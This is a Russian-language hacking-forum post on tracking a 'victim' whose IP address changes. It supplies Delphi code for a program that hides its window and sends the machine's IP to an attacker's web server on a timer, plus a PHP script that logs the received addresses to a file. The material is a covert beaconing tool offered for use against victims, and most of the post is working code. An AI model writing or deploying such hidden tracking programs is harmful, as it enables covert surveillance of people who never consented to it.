ANTICHAT - Показать сообщение отдельно - Как узнавать IP жертвы с динамичным адресом.

Вот код на делфи. Передает айпи на скрипт ip.php, который принимает его и записывает в файл ip.txt. Кидаем на форму три компонента - таймер, IdHTTP (Indy Clients) и IdIpWatch (Indy Misc).

Цитата:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdIPWatch, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, ExtCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
IdHTTP1: TIdHTTP;
IdIPWatch1: TIdIPWatch;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
myip: string;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
myip:=IdIpWatch1.LocalIP;
IdHTTP1.Get('http://mysite.ru/ip.php?ip=' + myip); //Меняем на свой адрес хоста, где размещен скрипт.
end;

end.

Выставляем интервал таймера. Он отвечает за скорость передачи на скрипт айпи. 1000 = 1 сек.

Затем клацаем Project - View Source, и там дописываем одну строчку - Application.ShowMainForm:=False;

Должно получиться вот так:

Цитата:

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=False;
Application.Run;
end.

Это сделает твою программу скрытой.

Вот php скрипт, который принимает IP:

PHP код:


		
			
<?php

$file = fopen("ip.txt","a");

fwrite($file, $_GET['ip']);

fwrite($file, "\r\n");

fclose($file);

?>

Все айпи будут записанные в ip.txt